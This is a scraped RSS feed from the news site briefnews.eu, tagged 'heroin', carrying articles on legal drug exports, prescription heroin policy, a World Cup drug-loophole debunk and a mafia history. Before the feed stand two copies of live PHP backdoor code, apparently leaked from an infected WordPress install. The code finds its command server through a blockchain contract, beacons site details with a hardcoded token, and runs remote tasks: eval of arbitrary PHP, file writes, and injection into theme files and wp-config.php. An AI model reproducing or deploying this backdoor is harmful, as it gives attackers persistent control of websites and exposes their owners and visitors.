// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); heroin – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 13 Mar 2019 09:30:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png heroin – Brief News https://briefnews.eu 32 32 It’s legal to manufacture cocaine and heroin for medical use — and Britain is the world’s biggest exporter https://briefnews.eu/its-legal-to-manufacture-cocaine-and-heroin-for-medical-use-and-britain-is-the-worlds-biggest-exporter/ https://briefnews.eu/its-legal-to-manufacture-cocaine-and-heroin-for-medical-use-and-britain-is-the-worlds-biggest-exporter/#respond Wed, 18 Apr 2018 09:37:40 +0000 http://briefnews.eu/its-legal-to-manufacture-cocaine-and-heroin-for-medical-use-and-britain-is-the-worlds-biggest-exporter/ cocaine drugs

  • The UK is the world’s biggest exporter of legal cocaine and heroin, according to new figures.
  • Heroin and cocaine still have medicinal uses and can therefore be manufactured legally.
  • The UK exported 57kg of legal cocaine in 2016, far ahead of the next biggest exporter.
  • Switzerland was the biggest importer of legal heroin.
  • The new figures have prompted campaigners to call for regulation of the drugs trade.

The UK is the world’s biggest exporter of legal cocaine and heroin, new figures show, prompting campaigners to call on the government to regulate the drugs trade.

According to a new report, the UK exported 57kg of legal cocaine in 2016, far ahead of the next biggest exporter, the Netherlands, which shipped out 13.7kg the same year.

Britain also imported 330kg of legal cocaine in 2016, about 83 per cent of global demand, and accounted for almost half of cocaine consumption for medical purposes (90kg).

More than a tonne of heroin was legally produced around the world in 2016, of which more than half was manufactured in the UK. It exported 535kg of the opioid – about 85 per cent of global exports. Switzerland was the biggest importer.

heroin addict shoots up opioid

Steve Rolles, senior policy analyst at Transform, a pro-regulation think tank, says the data shows the legalisation and regulation of drugs can and does work.

“People often say ‘How would you legalise these drugs?’. You can just go, ‘Well the legal production of these drugs already exists’,” he told The Independent.

“All this carnage associated with the illegal cocaine and heroin market is unnecessary – we can show there are these legal markets that aren’t associated with any of these problems of terrorism and crime and violence, stabbings on the streets of London and all the rest of it.”

Heroin is still used as a painkiller in Britain, often as a paediatric nasal spray, while cocaine is sometimes used as a local anaesthetic for minor ear, nose and throat surgery.

“Because cocaine and heroin have been part of our medical history for an awfully long time, they are just still part of the pharmacopoeia and still in relatively common use,” Mr Rolles said.

The emergence of the UK’s legal drug trade figures comes as the risks associated with the illegal cocaine and heroin trade appear to be worsening.

An investigation by Vice revealed that the number of in-patients in UK hospitals with a primary diagnosis of “mental and behavioural disorders due to use of cocaine” has risen 90 per cent in the last four years. Meanwhile, government figures showed the number of people who suffered heroin-related deaths more than doubled between 2012 and 2016.

cocaine deaths

“With the UK’s legal heroin and cocaine there is no deforestation and toxic aerial spraying; no funding for paramilitary or terrorist groups; no enrichment of violent cartels; no exploitation of impoverished drug couriers; no street dealing and gang violence; and no adulterated drugs or sharing of dirty needles in back streets,” Mr Rolles said.

“These problems are entirely created by prohibition, and they disappear when these drugs are strictly regulated and taxed.

“Drug prohibition doesn’t get rid of drugs – it just hands the market to criminals and makes it vastly more dirty and dangerous. We know what effective regulation looks like – we only have to look at our world-beating legal industry.

“We have a choice: we can leave the trade in the hands of organised criminals and unregulated dealers, or we make them available through doctors, pharmacists or licensed retailers. There’s no third option where heroin and cocaine magically disappear.”

According to the International Narcotics Control board’s report, Peru is the only country in the world legally exporting coca leaf – the plant which contains the cocaine alkaloid.

The US is the only country which imports Peru’s coca leaf – about 133 tonnes in 2016 – which is uses to extract flavouring agents and manufacture the drug as a by-product.

The UK and other countries are then able to import the finished product from America.

]]> https://briefnews.eu/its-legal-to-manufacture-cocaine-and-heroin-for-medical-use-and-britain-is-the-worlds-biggest-exporter/feed/ 0 Ottawa making it easier for doctors to prescribe methadone and heroin https://briefnews.eu/ottawa-making-it-easier-for-doctors-to-prescribe-methadone-and-heroin/ https://briefnews.eu/ottawa-making-it-easier-for-doctors-to-prescribe-methadone-and-heroin/#respond Mon, 26 Mar 2018 14:32:38 +0000 http://briefnews.eu/ottawa-making-it-easier-for-doctors-to-prescribe-methadone-and-heroin/ COMMONS 20180131

The federal government is taking steps to make it easier for doctors to prescribe methadone and pharmaceutical grade heroin.

]]> https://briefnews.eu/ottawa-making-it-easier-for-doctors-to-prescribe-methadone-and-heroin/feed/ 0 No, you can’t bring cocaine & heroin to the stadium during the World Cup in Russia https://briefnews.eu/no-you-cant-bring-cocaine-heroin-to-the-stadium-during-the-world-cup-in-russia/ https://briefnews.eu/no-you-cant-bring-cocaine-heroin-to-the-stadium-during-the-world-cup-in-russia/#respond Fri, 02 Mar 2018 03:32:11 +0000 http://briefnews.eu/no-you-cant-bring-cocaine-heroin-to-the-stadium-during-the-world-cup-in-russia/ Less fake news and more of a non-story, the numerous reports that claim fans will be allowed to bring otherwise illegal drugs to the World Cup matches this summer, which have been reprinted a myriad times, are due for a debunking.

“Russian stadiums to allow cocaine, cannabis and heroin at 2018 FIFA World Cup,” claimed Newsweek; “Loophole Will Allow Cocaine, Heroin at 2018 World Cup,” alleged SI.com; “Fans heading to the World Cup will be allowed to carry cocaine, cannabis and even heroin…but they’ll need a legitimate doctor’s note.”

The alleged loophole was found in the hitherto obscure regulations of the Eurasian Economic Union (EAEU), a Russian-led trade block that comprises five countries from the former Soviet Union. In its list of regulated substances, these narcotics, along with amphetamines, marijuana and dozens of others, are listed in the “permissible” section, as opposed to the “prohibited” one.

This does not mean they can be imported freely, it simply means that they can cross the borders between the member countries – along with other items in the same list, such as dinosaur bones, and spy-level encoding equipment – under very specific circumstances, provided they fill in a legal declaration of their cargo.

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A woman holds several FAN IDs needed to attend the FIFA World Cup in Russia. © Ilya Pitalev

The most likely application of this is academic research, or industrial use, or likely no real-life situation at all that fits this legally. This does not have anything to do with World Cup, which begins on June 14 in Moscow.

The story appears to have become conflated with a related confirmation by the authorities that visitors will be allowed to bring medicines with them to the tournament, including ones that are not licensed in Russia, provided they have a legitimate prescription and declare them. Once again, this is in accordance with the same EAEU regulated substances list – already in force now.

Since the vast majority of medical drugs do not contain meth, cocaine, dinosaur bones, weapons, human tissue samples, or a myriad of other things included on the regulated list, the central premise of the hundreds of reprinted stories is irrelevant. Transporting heroin and cocaine (as opposed to consuming them) are offenses in all of the countries participating in the World Cup, and there can never be a “doctor’s note” for them, faked or real.

The chief executive of Russia-2018, Aleksey Sorokin, has been forced to deny this story, saying, “there isn’t even anything to comment on.”

More realistically, all this means is that, for the length of the World Cup, those using medical marijuana and opioids for pain relief or other conditions do not need to worry about having them confiscated. But as the original Izvestia article that started the entire hullabaloo noted, they will need not only a detailed prescription with dates and quantities, but that document will need to be “written in Russian or translated and notarized” and their cargo can be examined by border agents.

So, the TL:DR version of the news is that there is no loophole, no news, and no fresh law that will be created for the upcoming World Cup – just make sure you follow the present ones. But that story wouldn’t have gone viral.

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]]> https://briefnews.eu/no-you-cant-bring-cocaine-heroin-to-the-stadium-during-the-world-cup-in-russia/feed/ 0 Liberals say they’ll back prescription heroin, drug checking services to fight opioid crisis https://briefnews.eu/liberals-say-theyll-back-prescription-heroin-drug-checking-services-to-fight-opioid-crisis/ https://briefnews.eu/liberals-say-theyll-back-prescription-heroin-drug-checking-services-to-fight-opioid-crisis/#respond Wed, 15 Nov 2017 22:11:11 +0000 http://briefnews.eu/liberals-say-theyll-back-prescription-heroin-drug-checking-services-to-fight-opioid-crisis/ Ginette Petitpas Taylor

The federal government will support new treatment options for drug addicts, including giving them prescription opioids or pharmaceutical grade heroin, backing quality testing of street drugs and helping provinces set up overdose prevention sites in emergencies.

CBC | Health News

]]> https://briefnews.eu/liberals-say-theyll-back-prescription-heroin-drug-checking-services-to-fight-opioid-crisis/feed/ 0 The Heroin Don's Last Meal https://briefnews.eu/the-heroin-dons-last-meal/ https://briefnews.eu/the-heroin-dons-last-meal/#respond Sun, 15 Oct 2017 09:05:10 +0000 http://briefnews.eu/the-heroin-dons-last-meal/ John Turano was working a shift at his father’s Italian-American restaurant, Joe and Mary’s, on July 12, 1979, when Carmine “Lilo” Galante walked through the door. A mob strongman and regular patron, Galante was escorted — along with two Sicilian bodyguards — to his usual table in the back courtyard. Temperatures soared that summer day in New York City, but the guards still wore full leather jackets to hide their heavy artillery. Galante, after all, had plenty of enemies.

Having served a stint in prison for attempted robbery in the late 1930s, Galante transitioned from strong-arm work for Vito Genovese to establishing his power base in Williamsburg, Brooklyn — Bonanno family territory. He shared a couple common enemies with Joe Bonanno, the most prolific being Carlo Gambino, and eventually rose to rank of underboss in the Bonanno family. While known as a cold-blooded killer — the NYPD suspected him of numerous mob-related murders — authorities could never find anyone to testify against the feared mobster.

They blew Lilo away while he was eating lunch.

Mafia historian Ed Scarpo

